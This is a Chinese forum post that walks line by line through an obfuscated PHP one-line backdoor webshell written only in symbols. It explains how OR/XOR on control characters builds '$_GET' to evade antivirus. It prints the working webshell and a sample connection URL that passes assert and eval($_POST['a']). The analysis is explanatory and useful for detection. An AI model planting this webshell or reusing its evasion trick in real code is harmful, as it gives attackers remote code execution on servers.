长安文化 發表於 2014-4-8 11:01:57

剖析PHP纯符号一句话webshell的代码

<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode24"><br />&lt;?php<br />$_="";<br />$_[+""]='';<br />$_="$_"."";<br />$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");<br />${'_'.$_}['_'](${'_'.$_}['__']);<br />?&gt;</div></p>
<p>以上是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀。下文将详细剖析这段看似复杂的PHP变形代码。</p>
<p><strong>第一行:</strong>$_=&quot;&quot;;<br />定义一个以下划线作为命名的字符变量:$_,赋值为空。<br />此行实际上不影响代码执行效果,仅增加混淆效果。</p>
<p><strong>第二行:</strong>$_[+&quot;&quot;]='';<br />定义一个$_数组元素,其key为+&quot;&quot;,赋值为空。<br />众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里+&quot;&quot;作为数组了key,其值等同于0,所以此行等同于$_='';<br />此时$_被定义为数组,覆盖上一行的定义。</p>
<p><strong>第三行:</strong>$_=&quot;$_&quot;.&quot;&quot;;<br />将变量$_强制转换为字符串,因为此时$_类型为数组,强制转换后的结果为字符串&quot;Array&quot;(string(5) &quot;Array&quot; ),而非数组元素的值。</p>
<p><strong>第四行:</strong>$_=($_[+&quot;&quot;]|&quot;&quot;).($_[+&quot;&quot;]|&quot;&quot;).($_[+&quot;&quot;]^&quot;&quot;);<br />这一行涉及到计算机二进制的&ldquo;或运算&rdquo;和&ldquo;异或运算&rdquo;,这里先简单介绍下这两种运算规则:<br />1、或运算,符号为 | <br />运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;<br />简单来说,或运算前后两个对象 只要有 一个为1,其值就为1,否则为0<br />2、异或运算,符号为 ^<br />运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;<br />简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为1,否则为0</p>
<p>再回到代码上来,此行代码分三个部分($_[+&quot;&quot;]|&quot;&quot;)、($_[+&quot;&quot;]|&quot;&quot;)、($_[+&quot;&quot;]^&quot;&quot;),用连接符&ldquo;.&rdquo;号相连,每个部分都是其中两个对象进行&quot;或运算&quot;或&quot;异或运算&quot;。<br />先看第一部分($_[+&quot;&quot;]|&quot;&quot;),很明显,这里是$_[+&quot;&quot;]和&quot;&quot;这两个对象进行&ldquo;或运算&rdquo;。<br />第一个对象$_[+&quot;&quot;](也就是$_),要注意其值已经不是第二行定义的空值,因为在第三行时$_变量已经被覆盖定义为字符串&ldquo;Array&rdquo;。这里涉及到另一个php知识细节:对于 字符串[数字] 结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:$x='abcd9.com',则$x='9'。可见,$_[+&quot;&quot;]值为字符串&ldquo;Array&rdquo;第一字符&ldquo;A&rdquo;。<br />第二个对象&quot;&quot;是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的$_值:<br />var_dump($_);<br />测试结果为:string(3) &quot;GET&quot; ,可见,($_[+&quot;&quot;]|&quot;&quot;).($_[+&quot;&quot;]|&quot;&quot;).($_[+&quot;&quot;]^&quot;&quot;)值&quot;GET&quot;,显而易见,($_[+&quot;&quot;]|&quot;&quot;)值为&ldquo;G&rdquo;,($_[+&quot;&quot;]|&quot;&quot;)值为&ldquo;E&rdquo;,($_[+&quot;&quot;]^&quot;&quot;)值为&ldquo;T&rdquo;。<br />再先看第一部分($_[+&quot;&quot;]|&quot;&quot;)值为&quot;G&quot;,上面已得到$_[+&quot;&quot;]值为&ldquo;A&rdquo;,即(&quot;A&quot;|&quot;&quot;)=&quot;G&quot;,下面分析下此等式:<br />&ldquo;A&rdquo;二进制:0100 0001<br />&ldquo;G&rdquo;二进制:0100 0111<br />0100 0001 | x = 0100 0111<br />通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode25"><br />01000110 //ASCII可显示字符:F<br />01000111 //ASCII可显示字符:G<br />00000110 //ASCII控制字符:ACK,代表&ldquo;确认回应&rdquo;<br />00000111 //ASCII控制字符:BEL,代表&ldquo;响铃&rdquo;</div><br />代码中的&quot;&quot;即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。<br />搞清楚第一部分,第二、第三部分也同理可推。</p>
<p><strong>第五行:</strong>${'_'.$_}['_'](${'_'.$_}['__']);<br />此行可通过小括号分成两部分:${'_'.$_}['_'] 和 ${'_'.$_}['__'],两部分结构均是${A}['B'],区别仅是后面B是一条下划线还是两条小划线。<br />先看相同部分${'_'.$_},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如&quot;$abc&quot;为变量$abc,而&quot;${a}bc&quot;为变量$a连接字符&quot;bc&quot;,了解了这一特性,而第四行对$_赋值为&ldquo;GET&rdquo;,可见${'_'.$_}即为变量$_GET,加上后面['_'],则为$_GET['_'],接收&quot;get&quot;的表单中的变量为'_'的值。小括号里的部分同理。<br />根据上面叙述,第五行代码还原后是:$_GET['_']($_GET['__']);</p>
<p>至此,这段混淆代码已原形毕露,一句话后门代码原形为:$_GET['_']($_GET['__']),传递特殊参数构建webshell链接网址(例如:http://www.test.com/webshell.php?_=assert&amp;__=eval($_POST['a'])),通过一句话木马客户端即可连接此URL。</p>
頁: [1]
查看完整版本: 剖析PHP纯符号一句话webshell的代码